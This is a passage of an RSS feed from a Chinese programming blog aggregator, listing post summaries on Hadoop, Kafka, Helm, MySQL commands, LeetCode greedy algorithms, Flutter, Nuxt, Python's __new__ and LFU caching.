(4.0分)&#xA;【判断题】定义类时所有实例方法的第一个参数用来表示对象本身,在类的外部通过对象名来调用实例方法时不需要为该参数传值。 (3.</description>
    </item>
    <item>
      <title>hadoop HA集群搭建发现journalnode没有启动起来</title>
      <link>https://bchobby.github.io/posts/6450491f8f02e50147a7ae0093e3975a/</link>
      <pubDate>Thu, 28 Jan 2021 23:17:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6450491f8f02e50147a7ae0093e3975a/</guid>
      <description>这时先去查看Hadoop目录下的logs日志目录中的hadoop-hadoop-journalnode-master.out&#xA;查看出错的原因，然后进行修改即可</description>
    </item>
    <item>
      <title>helm部署zookeeper&#43;kafka集群</title>
      <link>https://bchobby.github.io/posts/4331bb6f704dad1c5debf792a7be9d4f/</link>
      <pubDate>Thu, 28 Jan 2021 18:05:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4331bb6f704dad1c5debf792a7be9d4f/</guid>
      <description>helm部署zookeeper+kafka集群 系统环境下载zookeeper kafka的helm包安装zookeeper kafka测试集群卸载应用 系统环境 一个k8s集群，安装helm，实现动态PV供给（非必须），并且设置为默认storageclass&#xA;k8s集群信息&#xA;[root@master ~]# kubectl get node -A NAME STATUS ROLES AGE VERSION master Ready &amp;lt;none&amp;gt; 52d v1.17.11 node1 Ready &amp;lt;none&amp;gt; 52d v1.17.11 node2 Ready &amp;lt;none&amp;gt; 52d v1.17.11 node3 Ready &amp;lt;none&amp;gt; 52d v1.17.11 动态PV（后端为nfs存储）&#xA;[root@master ~]# kubectl get storageclass NAME PROVISIONER RECLAIMPOLICY VOLUMEBINDINGMODE ALLOWVOLUMEEXPANSION AGE nfs-storage (default) nfs-storage Retain Immediate false 31h helm版本&#xA;[root@master ~]# helm version version.BuildInfo{Version:&#34;v3.4.1&#34;, GitCommit:&#34;c4e74854886b2efe3321e185578e6db9be0a6e29&#34;, GitTreeState:&#34;clean&#34;, GoVersion:&#34;go1.14.11&#34;} 下载zookeeper kafka的helm包 添加bitnami仓库</description>
    </item>
    <item>
      <title>C#中如何使用Chart图表</title>
      <link>https://bchobby.github.io/posts/3e410940d44d12b9ecf062e7de3b0854/</link>
      <pubDate>Thu, 28 Jan 2021 17:58:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3e410940d44d12b9ecf062e7de3b0854/</guid>
      <description>Chart控件可以用来绘制波形图、柱状图、饼图、折线图等，用来进行数据表现是很不错的，现在简单说一下这个控件的使用方法&#xA;效果图&#xA;我们首先要加载Chart控件，&#xA;然后打开控件的属性窗口&#xA;在这个窗口里面我们可以修改曲线的名称，名称在【数据》Name】里面修改&#xA;讲一下属性窗口里面我们用到的几个选项的作用吧&#xA;数据&#xA;XValueType是X轴的数据类型，Y同理，这里我们选Time，可以随时间改变&#xA;图表&#xA;ChartType是图表的类型，我们可以选出我们想要用的类型，这里选曲线&#xA;外观&#xA;Color可以选择曲线的颜色，这里我选了红色&#xA;左边的成员 框，是我们要显示的曲线，可以添加多个&#xA;其他属性如果有需要自行修改，修改好之后确定，回到窗口设计界面&#xA;在工具箱添加Timer&#xA;在Timer的事件窗口双击时钟事件&#xA;代码如下，请自行对照填到对应的事件里面去&#xA;public partial class Form1 : Form { int cnt = 0; public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { timer1.Enabled = true; } private void timer1_Tick(object sender, EventArgs e) { chart1.Series[0].Points.AddY(cnt*cnt); label1.Text = cnt.ToString(); cnt++; } private void chart1_Click(object sender, EventArgs e) { } } cnt是个自变量，曲线显示的是cnt为底的2次指数曲线</description>
    </item>
    <item>
      <title>Kafka实战：KafkaConsumer#seek方法不生效</title>
      <link>https://bchobby.github.io/posts/0e3858e7e0559e28207423aa1bc5a1a0/</link>
      <pubDate>Thu, 28 Jan 2021 15:23:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/0e3858e7e0559e28207423aa1bc5a1a0/</guid>
      <description>文章目录 1. 背景2. 示例3. 结论 1. 背景 现需要在Kafka管理平台中加入数据预览功能，浏览topic最新的10条数据，我们需要用startOffset = HighWatermark - 10公式求出起始startOffset，从startOffset开始查询分区中的数据。&#xA;但是，在使用KafkaConsumer#seek方法设置offset时不生效，KafkaConsumer#poll始终无法拉取到历史数据，更精确地说，始终只能拉取到最新插入的数据。&#xA;环境：&#xA;CDH 6.3.2&#xA;Kafka 2.2.1&#xA;kafka-client 2.2.0&#xA;2. 示例 现有如下示例，示例中启动了一个KafkaConsumer并尝试从指定位置消费制定分区&#xA;public class KafkaConsumerKerberos { public static void main(String[] args) throws InterruptedException { String bootstrapServers = System.getProperty(&#34;bootstrapServers&#34;); String topic = System.getProperty(&#34;topic&#34;); Properties consumerConfig = new Properties(); consumerConfig.put(ConsumerConfig.BOOTSTRAP_SERVERS_CONFIG, bootstrapServers); // consumerConfig.put(ConsumerConfig.AUTO_OFFSET_RESET_CONFIG, &#34;earliest&#34;); consumerConfig.put(ConsumerConfig.VALUE_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class.getCanonicalName()); consumerConfig.put(ConsumerConfig.KEY_DESERIALIZER_CLASS_CONFIG, StringDeserializer.class.getCanonicalName()); KafkaConsumer&amp;lt;String, String&amp;gt; consumer = new KafkaConsumer&amp;lt;&amp;gt;(consumerConfig); TopicPartition topicPartition = new TopicPartition(topic, 0); Set&amp;lt;TopicPartition&amp;gt; assignments = consumer.</description>
    </item>
    <item>
      <title>idea 安装插件后 启动报错 无法进入主界面  org.picocontainer.PicoRegistrationException</title>
      <link>https://bchobby.github.io/posts/a90563133a91ebce14ae0521eb417176/</link>
      <pubDate>Thu, 28 Jan 2021 15:17:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a90563133a91ebce14ae0521eb417176/</guid>
      <description>idea 安装插件后 启动报错 无法进入主界面 org.picocontainer.PicoRegistrationException: Key com.itangcent.idea.plugin.settings.SettingBinder duplicated&#xA;解决方法：手动删除之前安装的插件包，再重启即可 idea 插件包的路径为：&#xA;Examples for IntelliJ IDEA 2020.3:&#xA;插件包在Plugins路径下&#xA;Windows: Configuration (idea.config.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\JetBrains\IntelliJIdea2020.3 Plugins (idea.plugins.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Roaming\JetBrains\IntelliJIdea2020.3\plugins System (idea.system.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Local\JetBrains\IntelliJIdea2020.3 Logs (idea.log.path): C:\Users\&amp;lt;user&amp;gt;\AppData\Local\JetBrains\IntelliJIdea2020.3\log macOS: Configuration (idea.config.path): ~/Library/Application Support/JetBrains/IntelliJIdea2020.3 Plugins (idea.plugins.path): ~/Library/Application Support/JetBrains/IntelliJIdea2020.3/plugins System (idea.system.path): ~/Library/Caches/JetBrains/IntelliJIdea2020.3 Logs (idea.log.path): ~/Library/Logs/JetBrains/IntelliJIdea2020.3 Linux: Configuration (idea.config.path): ~/.config/JetBrains/IntelliJIdea2020.3 Plugins (idea.plugins.path): ~/.local/share/JetBrains/IntelliJIdea2020.3 System (idea.system.path): ~/.cache/JetBrains/IntelliJIdea2020.3 Logs (idea.log.path): ~/.cache/JetBrains/IntelliJIdea2020.3/log 我的办公电脑是Linux,如下图所示：</description>
    </item>
    <item>
      <title>2.算法-贪心算法，分配问题（leetcode455发饼干，135发糖果），区间问题（435无重叠区间），练习（605种花，452射气球，122 买卖股票）</title>
      <link>https://bchobby.github.io/posts/4c499861e32e7ec815afe2f8e5039a87/</link>
      <pubDate>Thu, 28 Jan 2021 14:57:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4c499861e32e7ec815afe2f8e5039a87/</guid>
      <description>一 算法解释 保证每次操作都是局部最优，局部结果互不相干，全局结果是局部结果的简单求和，从而使最后得到的结果是全局最优的。&#xA;二 分配问题 例1：leetcode题455，分发饼干 假设你是一位很棒的家长，想要给你的孩子们一些小饼干。但是，每个孩子最多只能给一块饼干。&#xA;对每个孩子 i，都有一个胃口值 g[i]，这是能让孩子们满足胃口的饼干的最小尺寸；并且每块饼干 j，都有一个尺寸 s[j] 。如果 s[j] &amp;gt;= g[i]，我们可以将这个饼干 j 分配给孩子 i ，这个孩子会得到满足。你的目标是尽可能满足越多数量的孩子，并输出这个最大数值。&#xA;1.题目分析：&#xA;从胃口小（数组g中最小的）的开始分配，在饼干里找能满足其胃口的且最小的（即数组中大于g【i】且最小的）分给他，然后再考虑剩下的。&#xA;贪心策略：每次给剩余孩子里胃口最小的分配能满足胃口的最小饼干&#xA;2.优化：&#xA;由于两个数组都需找出最小的，且需获得大小关系，如果直接循环遍历两次，容易一开始取到胃口最大的小孩，所以应在开始判定之前，将两个数组都由小到大排序。这样 就可以从头开始分别遍历。&#xA;然后这里如果用双层for 的话，情况会很复杂，首先两个数组谁长谁短，每个循环何时结束？都不好判断，而且可能会重复遍历。&#xA;所以这个题目用while(numchild&amp;lt;g.size() &amp;amp;&amp;amp; numcookie&amp;lt;s.size() )，一旦有一个遍历结束就结束，即要么孩子先没了，要么第一个孩子胃口大于最大的饼干，后面的孩子就都吃不了。&#xA;然后符合情况的numchild++，否则就一直numcookie++&#xA;3.sort（）排序函数：&#xA;sort(first_pointer,first_pointer+n,cmp) 3.2 功能：该函数可以给数组，或者链表list、向量排序。&#xA;3.3 实现原理：sort并不是简单的快速排序，它对普通的快速排序进行了优化，此外，它还结合了插入排序和推排序。系统会根据你的数据形式和数据量自动选择合适的排序方法，这并不是说它每次排序只选择一种方法，它是在一次完整排序中不同的情况选用不同方法，比如给一个数据量较大的数组排序，开始采用快速排序，分段递归，分段之后每一段的数据量达到一个较小值后它就不继续往下递归，而是选择插入排序，如果递归的太深，他会选择推排序。&#xA;3.4参数：&#xA;此函数有3个参数：&#xA;参数1：第一个参数是数组的首地址，一般写上数组名就可以，因为数组名是一个指针常量。&#xA;参数2：第二个参数相对较好理解，即首地址加上数组的长度n（代表尾地址的下一地址）。&#xA;参数3：默认可以不填，如果不填sort会默认按数组升序排序。也就是1,2,3,4排序。也可以自定义一个排序函数，改排序方式为降序什么的，也就是4,3,2,1这样。&#xA;3.5使用&#xA;使用此函数需先包含：&#xA;#include &amp;lt;algorithm&amp;gt; 并且导出命名空间：&#xA;using namespace std; 简单例子：对数组A的0~n-1元素进行升序排序，只要写sort(A,A+n)即可；对于向量V也一样，sort(v.begin(),v.end())即可。题目中给的是两个向量gs，所以我们使用向量排序。&#xA;4.代码&#xA;class Solution { public: int findContentChildren(vector&amp;lt;int&amp;gt;&amp;amp; g, vector&amp;lt;int&amp;gt;&amp;amp; s) { sort(g.begin(),g.end());//排序 sort(s.begin(),s.end()); int numchild=0; int numcookie=0; while(numchild&amp;lt;g.</description>
    </item>
    <item>
      <title>数据库命令速记</title>
      <link>https://bchobby.github.io/posts/269d24934ea25beb410c7fb65f5c40cb/</link>
      <pubDate>Thu, 28 Jan 2021 13:59:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/269d24934ea25beb410c7fb65f5c40cb/</guid>
      <description>大的原则 前提：登录数据库后才能执行下面的操作&#xA;两种登录方式： mysql –uroot –pmysql –h121.234.324.324 –P3306 –uroot –p 操作数据库：增、删、查、进入操作数据库中的表：增、删、改、查操作表中的数据：增、删、改、查 项目增删改查数据库create databasedrop database [数据库名称];use [数据库名称]; （进入数据库）show databases;数据库中的表create tabledrop tablealter table [数据表名称] modify/change [列名] [数据格式];show/desc表中的数据insert into [表名]delete from [表名]update [表名]select from 一、操作数据库 1. 创建数据库（create database） 编号动作命令格式举例1创建数据库create database [数据库名称];create database crm9;2创建数据库，并指定编码方式create database [数据库名称] character set [编码方式];create database crm9 character set utf8;3创建数据库，并指定编码方式和排序规则create database [数据库名称] character set [编码方式] collate [排序规则];create database crm9 character set utf8 collate utf8_general_ci; 2. 查看数据库（show databases） 编号动作命令格式举例1查看数据库show databases;show databases;2模糊查询数据库show databases like ‘模糊匹配字符’;show databases like ‘%crm%’;3查询某个数据库的创建语句、编码方式show create database [数据库名称];show create database crm9; 3.</description>
    </item>
    <item>
      <title>Luminar AI for Mac (AI照片编辑软件)</title>
      <link>https://bchobby.github.io/posts/1d7b7615f998b105492f40e93405b6de/</link>
      <pubDate>Thu, 28 Jan 2021 11:28:44 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1d7b7615f998b105492f40e93405b6de/</guid>
      <description>Luminar AI可以识别照片的内容，建议最好的“模板”以加快编辑过程。这些编辑可以应用和完善到完美。有更多方法可以改善您的图像。您将找到一个完整的“编辑”模块，该模块具有完美组织的工具和精巧的界面，减少了混乱。&#xA;Luminar AI Mac版软件简介&#xA;Luminar AI Mac版全新的人工智能引擎。触手可及的速度和控制。要创建所有这些出色的结果，需要花很多力气。这就是为什么我们构建了一个全新的人工智能引擎。Luminar AI的核心既更快又更智能。您可以在更少的时间内获得更高质量的结果。Luminar AI是照片编辑的进化步骤。如果您的目标是在更短的时间内获得精美的图像-而又不牺牲创造力或控制力-您将需要Luminar AI&#xA;Luminar AI Mac功能介绍&#xA;人像摄影&#xA;•人体AI和脸部AI –轻柔地雕刻和完善人像&#xA;•虹膜AI –创造富有表情的眼睛&#xA;•皮肤AI –去除瑕疵和瑕疵，以获得更自然的人像摄影&#xA;风景摄影&#xA;•大气AI和天空增强器–在风景摄影中为天空增添深度和细节&#xA;•黄金时段和阳光–在照片中带来温暖并增强阳光&#xA;•天空AI 2.0 –变换照片并在几秒钟内添加全新的天空–还包括水反射&#xA;专业修饰&#xA;•结构AI –增强细节和纹理&#xA;•构图AI –获得完美的裁剪并修复弯曲的图像&#xA;•口音AI –获得完美的曝光和色彩&#xA;以上就是小编今天为大家分享的内容，希望对您有所帮助，想了解更多关于Mac相关知识，请关注macz吧！</description>
    </item>
    <item>
      <title>Linux下无人值守安装脚本kickstart</title>
      <link>https://bchobby.github.io/posts/a4af94a2af0c56a8632580b4f0976e4e/</link>
      <pubDate>Thu, 28 Jan 2021 11:23:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4af94a2af0c56a8632580b4f0976e4e/</guid>
      <description>Linux下无人值守安装脚本kickstart Linux下无人值守安装脚本kickstart Linux下无人值守安装脚本kickstart1.实验环境准备实验环境搭建在VM的虚拟机中进行虚拟化部署搭建网络安装源部署虚拟化NAT模式与桥接模式网桥的搭建使用脚本进行虚拟化部署 2.无人值守安装脚本生成ks文件并共享文件到httpd服务中编写kickstart文件设定kickstart文件权限利用虚拟机安装脚本测试kickstart文件内容 1.实验环境准备 实验环境搭建 在VM的虚拟机中进行虚拟化部署 1.在系统中对硬盘进行扩容处理，虚拟机中添加硬盘（本机安装已为80GB）&#xA;（假若VM中安装的Linux系统的硬盘容量过小为20GB，可进行以下操作扩容）&#xA;对安装好的硬盘进行格式化，使设备进行使用&#xA;对虚拟机硬件信息进程调整让虚拟机可以支持虚拟化&#xA;2.在虚拟机中配置软件安装环境&#xA;3.在虚拟机中安装虚拟化&#xA;搭建本地软件源&#xA;下载虚拟化部署组件&#xA;4.在虚拟机中格式化硬盘并挂载虚拟机目录中&#xA;5.调整虚拟机硬件，开启全虚拟化功能，并调整cpu和内存&#xA;搭建网络安装源部署虚拟化 1.vim编辑网卡配置文件，进行网络配置&#xA;2.编辑虚拟机设置，将虚拟机内存调整到大于6GB，重启虚拟机&#xA;3.安装阿帕奇软件&#xA;4.关闭防火墙，开启阿帕奇&#xA;5.关闭原有设备挂载（默认），新挂载到软件源目录上(使之可以共享)&#xA;若为扩容硬盘后的虚拟机，需要执行&#xA;建立虚拟机需要正在这个目录中用qemu用户建立硬盘，不设定无法建立文件&#xA;NAT模式与桥接模式 虚拟机默认NAT模式：&#xA;真实主机的内核开启路由器vbr0，vbr0一端连接vnet0，一端连接真实网卡&#xA;数据传给Vnet0，vnet0通过vbr0将数据传送给物理网卡。&#xA;网桥的搭建 BRIDGE网桥模式：&#xA;br0作用：建立桥梁使虚拟机和物理网卡(原本不能通信的两端)建立连接&#xA;网桥的搭建&#xA;1.进入网卡配置目录，ls查看到物理主机的真实网卡&#xA;2.复制真实网卡信息，生成br0网桥配置文件&#xA;vim编辑 ，删除IP，添加BRIDGE=yes&#xA;不能通过vbr0传输数据到物理网卡，无法获得IP，正常读取网络资源&#xA;解决：在真实主机搭建dhcp服务，虚拟机获得IP&#xA;通过网桥模式时，可以正常部署虚拟化&#xA;1.安装dhcp服务&#xA;2.开启dhcp服务&#xA;3.成功完成虚拟化部署&#xA;使用脚本进行虚拟化部署 完成硬件选择 1.使用参数 virt-install虚拟化创建脚本 Virt-install man virt-install ##查看帮助 帮助查看时直接搜索 EXAMPE 注意事项： \换行符 ##使编辑更加明了，每行后面都有空格！换行符不能有字符，否则不代表换行 只能建立一次，再次执行时，提示已经建立##脚本解释器 $1 执行脚本输入替换的输出 脚本后输入什么，输出就替换为什么 ##简化建立步骤的繁琐 #!/bin/bash ##脚本解释器 virt-install \ ##虚拟机安装命令 --location http://172.25.254.111/westos \ ##指定安装资源 --os-variant rhel8.</description>
    </item>
    <item>
      <title>手把手 Flutter 混合开发 -- 基于 FlutterBoost 实现</title>
      <link>https://bchobby.github.io/posts/3f1078c88331c97533691a0715440245/</link>
      <pubDate>Thu, 28 Jan 2021 11:12:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3f1078c88331c97533691a0715440245/</guid>
      <description>目录&#xA;1.FlutterBoost 简介&#xA;2.FlutterBoost 集成 ( 版本 1.17.1 )&#xA;2.1 Flutter 端集成&#xA;2.2 Android 端集成&#xA;3.FlutterBoost 使用&#xA;3.1 FlutterBoost 初始化&#xA;3.2 Native 传参启动 Flutter 页面，并接收返回结果&#xA;3.3 Flutter 传参启动 Native / Flutter 页面，并接收返回结果&#xA;4.最后&#xA;本文未提供 iOS 端集成与使用示例&#xA;当一个成熟的产品/项目，想要开始 Flutter 开发，同时又不想从零开始全面使用 Flutter 开发，最后选择保留原有 Native 项目代码和功能，在新业务或变动上使用 Flutter 进行开发，这种以 既有原生，又有 Flutter 的开发模式就称之为 Flutter 混合开发模式。该开发模式的好处体现在，不用全面推翻 APP 项目的原有积累， Native 端就可以无感接入 Flutter ，开始 Flutter 开发，拥抱 Flutter 的特性特点。&#xA;1.FlutterBoost 简介 FlutterBoost 是阿里系闲鱼技术团队开源的 Flutter 插件，它可以轻松为现有原生应用程序提供 Flutter 混合集成方案。其理念是将 Flutter 像 WebView 那样来使用。FlutterBoost 帮开发者处理 Native 与 Flutter 页面的映射和跳转，开发者只需关心页面的名字和参数即可 ( 通常可以是 URL ) 。</description>
    </item>
    <item>
      <title>element ui中改变某一行或者单元格的颜色</title>
      <link>https://bchobby.github.io/posts/d89a60881a28a0124bb3cac622e19d30/</link>
      <pubDate>Thu, 28 Jan 2021 10:01:54 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d89a60881a28a0124bb3cac622e19d30/</guid>
      <description>element 官网讲解 row-class-name行的 className 的回调方法，也可以使用字符串为所有行设置一个固定的 className。Function({row, rowIndex})/String——row-style行的 style 的回调方法，也可以使用一个固定的 Object 为所有行设置一样的 Style。Function({row, rowIndex})/Object——cell-class-name单元格的 className 的回调方法，也可以使用字符串为所有单元格设置一个固定的 className。Function({row, column, rowIndex, columnIndex})/String——cell-style单元格的 style 的回调方法，也可以使用一个固定的 Object 为所有单元格设置一样的 Style。Function({row, column, rowIndex, columnIndex})/Object—— 1、根据条件改变某一单元格的颜色&#xA;&amp;lt;el-table :data=&#34;rowData&#34; border size=&#34;mini&#34; :cell-style=&#34;styleBack&#34;&amp;gt; &amp;lt;el-table-column label=&#34;row1&#34;&amp;gt;11111&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column property=&#34;&#34; label=&#34;row2&#34;&amp;gt;22222&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column property=&#34;&#34; label=&#34;row3&#34;&amp;gt;33333&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column property=&#34;&#34; label=&#34;row3&#34;&amp;gt;44444&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column property=&#34;&#34; label=&#34;row3&#34;&amp;gt;55555&amp;lt;/el-table-column&amp;gt; &amp;lt;el-table-column property=&#34;&#34; label=&#34;row3&#34;&amp;gt;66666&amp;lt;/el-table-column&amp;gt; &amp;lt;/el-table&amp;gt; rowData: [ { id: 1, num: 2 }, { id: 2, num: 3 }, { id: 3, num: 4 }, ], styleBack({ row, column, rowIndex, columnIndex }) { if (columnIndex == 1 &amp;amp;&amp;amp; row.</description>
    </item>
    <item>
      <title>mysql成绩是什么数据类型_MySql数据类型分析（数值(小数型)类型） Part2</title>
      <link>https://bchobby.github.io/posts/d327e7f9cbb9df864c9481de2e42b087/</link>
      <pubDate>Thu, 28 Jan 2021 02:17:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d327e7f9cbb9df864c9481de2e42b087/</guid>
      <description>一.小数型 包括两种类型：&#xA;1.浮点型 Float(M,D)&#xA;2.定点型 decimal(M,D)&#xA;二.M,D分析&#xA;1.小数型中的M和整数中的M 大不相同；&#xA;2.整数中的M 与所存数据的大小没有关系，只在有ZEROFILL修饰符时，控制显示填充零的为数有关。&#xA;3.小数中的M与所存数据的大小有必然关系，假如 申请类型为：float(6,2)：其中，6代表小数类型为 不包括小数点在内为6为，其中2代表小数位，因此，能存入-9999.99到+9999.99&#xA;4.如果Float(6,2) 带有标示符 Unsigned，则此数据类型的存储范围为：0.00到+9999.99&#xA;举例:&#xA;创建表goods：&#xA;create table goods&#xA;(&#xA;name varchar(10) not null default &#39; &#39;,&#xA;price float(6,2) not null default 0.00&#xA;) charset utf8;&#xA;插入一条数据：&#xA;insert into goods&#xA;(name,price)&#xA;values&#xA;(&#39;跑步机&#39;，688.896)；&#xA;点击回车，执行成功；&#xA;三.大家可以看到，已经成功插入到goods表中，&#xA;其中，小数 688.896 经舍入法 进行了截取，&#xA;Mysql中默认的舍入法 是 银行家舍入法，下一篇将说明 银行家舍入法。&#xA;四.定点类型&#xA;decimal(M,D)&#xA;分析：&#xA;1.定点类型和浮点类型 用法差不多，区别就是定点类型的精度比浮点类型的精度高。&#xA;举例：&#xA;在foods表中增加两列&#xA;alter table foods&#xA;add&#xA;bigprice float(9,2) not null default 0.</description>
    </item>
    <item>
      <title>nuxtjs开发的ssr网站，如何在后退时返回到上次滚动位置</title>
      <link>https://bchobby.github.io/posts/635d48617ee2274ffe97ea458afbf501/</link>
      <pubDate>Wed, 27 Jan 2021 22:19:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/635d48617ee2274ffe97ea458afbf501/</guid>
      <description>nuxtjs开发的服务端渲染网站，默认刷新或者返回的时候，会自动滚动到顶部的位置； 要想去掉这个特性，我们可以在跟目录下添加app/router.scrollBehavior.js文件 其中注释掉了前进后退返回顶部的代码，编译后会覆盖默认行为 import { getMatchedComponents, setScrollRestoration } from &#34;./utils&#34;; if (process.client) { if (&#34;scrollRestoration&#34; in window.history) { setScrollRestoration(&#34;manual&#34;); // reset scrollRestoration to auto when leaving page, allowing page reload // and back-navigation from other pages to use the browser to restore the // scrolling position. window.addEventListener(&#34;beforeunload&#34;, () =&amp;gt; { setScrollRestoration(&#34;auto&#34;); }); // Setting scrollRestoration to manual again when returning to this page. window.addEventListener(&#34;load&#34;, () =&amp;gt; { setScrollRestoration(&#34;manual&#34;); }); } } export default function(to, from, savedPosition) { // If the returned position is falsy or an empty object, will retain current scroll position let position = false; const Pages = getMatchedComponents(to); // Scroll to the top of the page if.</description>
    </item>
    <item>
      <title>python 什么场景使用python的__new__魔法方法，以及__new__作用和原理</title>
      <link>https://bchobby.github.io/posts/b2f24dcf77cc61a9533da7fdf113b760/</link>
      <pubDate>Wed, 27 Jan 2021 21:56:49 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b2f24dcf77cc61a9533da7fdf113b760/</guid>
      <description>什么场景使用python的__new__魔法方法，以及__new__作用和原理 1. `__new__`是什么2. `__new__`的使用2.1 参数`cls``*args, **kwargs` 2.2 返回值 3. `__new__`的使用场景单例模式构建元类 1. __new__是什么 __new__是python内置的魔术方法，并且是一个类方法，作用也很简单，就是在python的类进行实例化的时候，创建实例。并且__new__的执行是一定在__init__之前的&#xA;class T: def __new__(cls, *args, **kwargs): print(&#34;__new__ is executing&#34;) return super().__new__(cls) def __init__(self): print(&#34;__init__ is executing&#34;) self.a = 1 &amp;gt;&amp;gt; t = T() __new__ is executing __init__ is executing 所以可以在构造函数__init__运行之前，可通过__new__方法对实例的创建进行一些改造。&#xA;2. __new__的使用 2.1 参数 cls 先来讲第一个参数，也是最重要的参数：&#xA;__new__的第一个参数一定是会传递需要被实例化的类，这是在python底层就写死了的。通常来说，其约定俗成的参数名是cls&#xA;熟悉类方法修饰器的 @classmethod一定也熟悉这个约定俗成的参数名，在类方法修饰器修饰的函数中，第一个参数一般也是cls，代表类本身&#xA;所以，如果你要把super().__new__(cls)中的cls变量换成类名本身，当然也是没问题的；&#xA;class T: def __new__(cls, *args, **kwargs): print(&#34;__new__ is executing&#34;) # 这里的 T 即是该类的类名，等同于这里的cls，即类本身 return super().__new__(T) def __init__(self): print(&#34;</description>
    </item>
    <item>
      <title>LFU算法族：window-LFU</title>
      <link>https://bchobby.github.io/posts/df8bfd2c85ba17a3c6e62fadd80baa5b/</link>
      <pubDate>Wed, 27 Jan 2021 20:58:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/df8bfd2c85ba17a3c6e62fadd80baa5b/</guid>
      <description>LFU算法族相关文章目录汇总：&#xA;LFU算法&#xA;LFU-Aging算法&#xA;window-LFU算法（本文）&#xA;1、LFU算法的不足 LFU（Least Frequently Used）是一种缓存淘汰算法。LFU算法是根据缓存的访问频率，去淘汰访问次数最低的缓存。这样就给LFU带来了两个问题：&#xA;不可避免的问题：对于每个缓存项，LFU都需要记录其访问次数，这导致了LFU需要一笔不小的额外内存开销；可一定程度避免的问题：对于记录的访问次数，LFU要对其进行排序，用于淘汰访问次数最低的算法。而对大量数据的排序，则会带来一定的处理器开销。当然，这个开销可以通过在每次操作时调整排序顺序，来避免在内存淘汰时一次发生。 同时，由于LFU记录的是缓存生成以来访问频率，如果一条缓存曾经访问了很多次，但是如果服务的逻辑发生了改变，这条缓存已经很少甚至不再会被访问，这条缓存由于其历史访问次数很高，依然不会被淘汰。这就导致了缓存污染的问题：&#xA;缓存污染：系统将不常用的数据存入到缓存，造成常用数据的挤出，降低了缓存效率的现象。 总结来说，LFU算法有两个不可避免的问题：&#xA;对于每个缓存项，LFU都需要记录其访问次数，需要不小的额外内存开销；近期不再访问的历史数据无法清理，导致缓存污染。 2、window-LFU算法描述 Window-LFU被用来一定程度上解决LFU上述两步不可避免的问题。&#xA;Window是用来描述算法保存的历史请求数量的窗口大小的。Window-LFU并不记录所有数据的访问历史，而只是记录过去一段时间内的访问历史。即当请求次数达到或超过window的大小后，每次有一条新的请求到来，都会清理掉最旧的一条请求，以保证算法记录的请求次数不超过window的大小。&#xA;2.1 缓存访问记录的维护 在实现时，Window-LFU一般会维护一个定长队列，或者用数组实现环形缓存区来存储访问历史。&#xA;例如：一个缓存场景，window = 9，现在有9条缓存访问记录，按时间顺序从先到后分别是：A,B,C,D,A,B,C,D,A，即缓存队列&#xA;此时又来了一条新的缓存请求B，这是Window-LFU算法就会把第一条缓存访问记录A删掉，并将B加到队尾：&#xA;2.2 缓存淘汰 Window-LFU的缓存淘汰方式和LFU是一致的。&#xA;Window-LFU首先会计算window条记录中各条缓存项的访问次数，然后根据访问次数排序，淘汰次数最少的缓存项。当然，计算缓存想访问次数的操作，也可以放到每次缓存访问记录更新的同时，这样就避免了每次缓存操作的耗时长的问题。&#xA;一般来说，Window-LFU会使用哈希结构来存储“缓存项 &amp;lt;---&amp;gt; 访问次数”的映射，因为哈希的时间复杂度低，为o(1)。&#xA;3、Window-LFU的优缺点 3.1 优点 由于Window-LFU不存储全部历史数据，所以其额外内存开销要明显低于LFU算法，同时由于数据量明显减少，Window-LFU排序的处理器成本也要低于LFU。&#xA;另外，由于早于前window次的缓存访问记录会被清理掉，所以Window-LFU也可以避免缓存污染的问题，因为过早时间访问的缓存已经被清理掉了。&#xA;在缓存命中率方面，Window-LFU一般会由于LFU，因为Window-LFU一定程度上解决了缓存污染的问题，缓存的有效性更高了。缓存污染问题越严重的场景，Window-LFU的命中率就比LFU高的越多。&#xA;另外，和LFU-Aging相比，Window-LFU对缓存污染问题的解决更彻底一些，所以在缓存使用场景产生改变时，命中率会优于LFU-Aging。&#xA;3.2 缺点 但是Window-LFU需要维护一个队列去记录历史的访问流，复杂度略高于LFU。</description>
    </item>
    <item>
      <title>mysql mts_MySQL5.7 union all &#43; jdbc预编译参数useServerPrepStmts=true Bug 踩坑</title>
      <link>https://bchobby.github.io/posts/ecc92ac0db75afad8cc344000cccb166/</link>
      <pubDate>Wed, 27 Jan 2021 17:03:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ecc92ac0db75afad8cc344000cccb166/</guid>
